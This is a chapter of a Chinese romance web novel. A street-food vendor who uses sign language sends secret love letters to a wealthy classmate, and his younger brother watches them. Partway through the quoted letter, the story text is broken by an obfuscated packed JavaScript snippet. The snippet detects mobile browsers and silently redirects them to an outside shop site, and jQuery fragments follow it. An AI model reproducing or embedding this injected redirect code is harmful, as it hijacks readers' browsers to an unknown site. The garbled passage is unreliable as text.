.
放学铃一响，沈明反常地抓起书包第一个冲出了门。连桌肚里滚出来的笔都没捡。
他怕被王田浩他们堵住追问，更害怕自己会在那些真假难辨的玩笑里，把那点荒谬的期待当真。
他一路跑到校门口，呼吸还没喘匀。
此时人流尚未完全涌出，街道显得有些空旷。
然后，他的脚步钉在了原地。
斜对面，沈旭正从三轮车上卸一箱木炭。他弯着腰，后背的T恤因动作紧紧绷住，布料下肩胛骨的形状和背肌的起伏清晰可见，随着用力，展现出一种充满原始力量感的轮廓。
沈明望了十几秒，然后，干咳一声。第一次，他在放学时分，不是直接回家，而是主动朝着那个摊位走去。
沈旭直起身，远远看见他来了，连忙擦了擦手上的灰，迎上前，比划着问：[怎么了？]
沈明的目光有些飘。他不想直视沈旭和他相似的脸，侧过头，扫过烤架上滋滋冒油的肉串，油烟味钻进鼻腔，让他莫名烦躁。
“没，我先回家了。”
说完，他转身就走。
是他想太多，穿着围裙的沈旭哪里有什么魅力？至少，他只闻到了油烟气。可是，脚步在走出十几米后，却不自觉地慢了半拍。鬼使神差地，他回头望了一眼。
沈旭正对着他挥手，阳光落在他晒得发红的脸上，笑得格外温和。
—
沈明走了，没多久，放学大军也涌出校门。
学生们从气派的校门里涌出来，三三两两地穿过马路。沈旭的烤摊前迅速排起了队。
“老板，十串羊肉，微辣！”
“茄子多放蒜！”
此起彼伏的点单声中，炭火噼啪作响，灼热的油星溅到沈旭挽起袖口的小臂上，留下几个细微的深色痕迹。
他低头翻动茄子，脖颈后的碎发被汗水浸湿，贴在晒得发红的皮肤上。
与摊前的热火朝天形成鲜明对比的，是校门口那辆黑色迈巴赫。车门已经被司机打开，但秦萧没有立刻坐进去。她站在车门旁，隔着川流不息的马路，目光投向那个忙碌的摊位。
而那一刻，沈旭似有所感，也抬起眼。
四目相对。
烟雾模糊了他的轮廓，但秦萧依旧能看清他眼底漾开的笑意。那双总是温和的眼睛，只有在看她时才会露出这样的神采。
这一秒仿佛被无限拉长。
喧嚣的鸣笛声、学生们的嬉笑打闹声、烤串的滋滋声……所有背景音都潮水般退去。
直到身后司机不得已上前，低声提醒：“小姐，该回去了，家教老师已经到了。”
秦萧睫毛轻轻颤动了一下，不得不收回视线。
她弯腰坐进车里，却第一时间降下了车窗，只为能让那短暂交织的视线，再多延续几秒。
——
半小时后，夕阳彻底沉入地平线，放学的人潮逐渐散去，街道重归冷清。
一辆灰色轿车缓缓停在烧烤摊前。
车窗降下，露出秦家另一个司机熟悉的脸。
沈旭立刻放下手中正在擦拭烤架的湿布，在水桶里快速涮了涮手，又在围裙上擦干。他转身从保温箱里取出一个用厚实牛皮纸仔细包好的长形包裹，快步上前，递进车窗。
司机接过，稳妥地放在副驾驶座上，冲沈旭微微点头。
沈旭退开几步，目送车驶远，才转身回到烤架前。
“哟，老主顾啊？”
旁边的摊主老张凑过来，咂着嘴好奇地问，刻意放慢语速让沈旭能看清他的口型。
沈旭心里紧一下。
是送信的次数多了吗，老张记住了司机的脸？
他正紧张地思索着该如何解释这固定的“外卖”，老张却已转回头，咂咂嘴，拍了拍他肩膀，比划着感叹：“要不说你能干呢，用的都是好肉好料，怪不得连有钱人都好你这口，讲究。”
看懂他的意思，沈旭悄悄松了口气。他笑了笑，敷衍过老张的调侃，没有回答，回到摊位前，继续翻动烤架上的肉串。
他的摊位确实是这条街上最干净的。
每天收摊都会里外擦拭，装食材的盒子都用食品级塑料，穿肉的签字都是洗过又洗的，在开水里煮过，也不会二次使用，装调料的罐子盖得严严实实，防尘防潮。
从前跟师傅学手艺时他就学不来那些以次充好的门道。师傅骂他死脑筋，说这么做生意赚不到钱。
但他就是接受不了。不仅仅是因为秦萧可能会吃到，虽然这确实是最重要的原因。更是他自己，就接受不了那种龌龊。
油烟再次升腾起来，熏得他眼眶微微发酸发红，可那里面漾开的，却是被认可后一点点的温柔。
他不能，也绝不想对任何人解释那包裹是给谁的。
哪怕秦萧从未要求过他必须保密，甚至偶尔会用公开来“威胁”，说“再不听话我就去你摊位上坐着，让所有人都知道你是谁的人。”
他只是本能地想将这份于他而言如同珍宝的关系，小心翼翼地藏好。
.
.
那封带着炭火余温的信，连同悉心包裹的烤茄子被司机带回了秦宅。
家教老师刚走，书房里，秦萧正伏案写卷子。
“叩叩——”
管家轻轻敲门，得到应允后，端着银质托盘走进来。
托盘上放着一个精致的瓷盘，盛着刚从锡纸包里取出重新加热的烤串，旁边放置着未拆开的信封，管家还贴心地垫了一张丝帕。
路边摊霸道的烤串香气和奢华的府邸格格不入，但秦家佣人对这种气味早已习以为常。能留在这栋宅子里的人，嘴巴都比上了锁还严，更何况，大小姐私下给的“辛苦费”足够丰厚，足以让他们对任何不合常理的事情视而不见。
“需要些果蔬汁吗？”管家问。
这些东西秦萧在家吃的实在很少。味道重，容易上火，秦萧最是在乎自己对外的形象。
“不用，李叔你休息吧。”秦萧头也不抬，笔已经放下，指尖已经迫不及待拿起信。
管家不再多言，退出去了。
信纸被小心展开，沈旭工整的字迹映入眼帘：
[萧萧，见信好。]
[我的思绪常爱在深夜游走，所以，写给你的信，也总是在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677144|207526||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夜晚落笔。]
[最近时常下雨，希望你的车窗关得很严。我担心雨水会打湿你放在后座的乐谱，就像担心夜风会吹乱你练琴时垂落的发丝。]
这个傻子。
明明自己住在漏雨的地下室，却总担心着她这些微不足道的小事。
[你上次竖琴比赛的视频我看过了，虽然听不见，但我知道，你一定是最好的那个，比所有人都要好。灯光打在你身上，像月亮。]
秦萧嘴角翘了一下，带着点小得意。
那是当然。她可是压轴出场，聚光灯都追着她跑。评委席上坐着她爸请来的国际大师，结束后还特意过来夸她“有天赋”。
不过……像月亮？
她低头看了看自己。
今天穿了件丝质的睡袍，浅灰色，确实也泛着柔光。
月亮吗？
[有时候我觉得，生命中有的人，是像礼物一样的存在。是一想到就觉得心底忽而亮堂，是觉得身体里有蓬勃的惊喜在等待绽放。]
[而你于我而言，就是这样的存在。]
最后落款是一颗爱心，画得小心翼翼。
秦萧的指尖轻轻抚过纸面，中间的墨迹有一点被晕开，应是写信人犹豫了太久，笔尖停在同一个地方。
她几乎能想象出沈旭写这封信时的样子：
皱着眉头，嘴唇抿成一条线，写写停停，反复斟酌着每一个字眼，生怕措辞不够好。写完还要反复检查，确认没有问题才仔细折好。
秦萧盯着那颗爱心看了几秒，然后“啧”了一声。
“土死了。”她说。
但手指却把那页纸抚平，又看了一遍。
然后把信纸折好，走向卧室里间。
那里有个嵌入墙体的保险柜，看起来像普通的装饰柜，但要指纹和密码才能打开。她输入密码，柜门弹开。里面躺着厚厚一沓相似的信件。每一封都被妥善珍藏，按日期整齐排列。最早的一封是三年前的，纸边已经有点发黄了。
她将最新的这封放在最上面，轻轻关上了柜门。
窗外，皎洁的月光洒落在庭院里精心栽培的玫瑰丛上。
夜风拂过，花影摇曳。
秦萧端着烤茄子坐到阳台，望着那片月色，神情有片刻的放空。
这个时候……那个傻子应该还在清点那些零零碎碎的毛票吧？把皱巴巴的纸币一张张抚平，按面额仔细理好，计算着弟弟下个月的学费和生活费。算完了，又开始盘算，下次见她时要带什么礼物......
她知道的，他总想把他能给出的、最好的一切，都给她。
.
..
收摊，清点，又是深夜十一点。
地下室的门虚掩着，透出一线光。
沈旭推门，侧身进去。
看见沈明正坐在折叠桌前转着笔发呆，面前摊开的书半天没翻页。
[吃晚饭了吗？]沈旭放下东西，比划着手语，同时努力做着清晰的口型。
“嗯，在外面吃了。”沈明抬头，目光扫过哥哥沾着炭灰的衣领，突然有些别扭地开启了话题：“哥，你谈过恋爱吗？”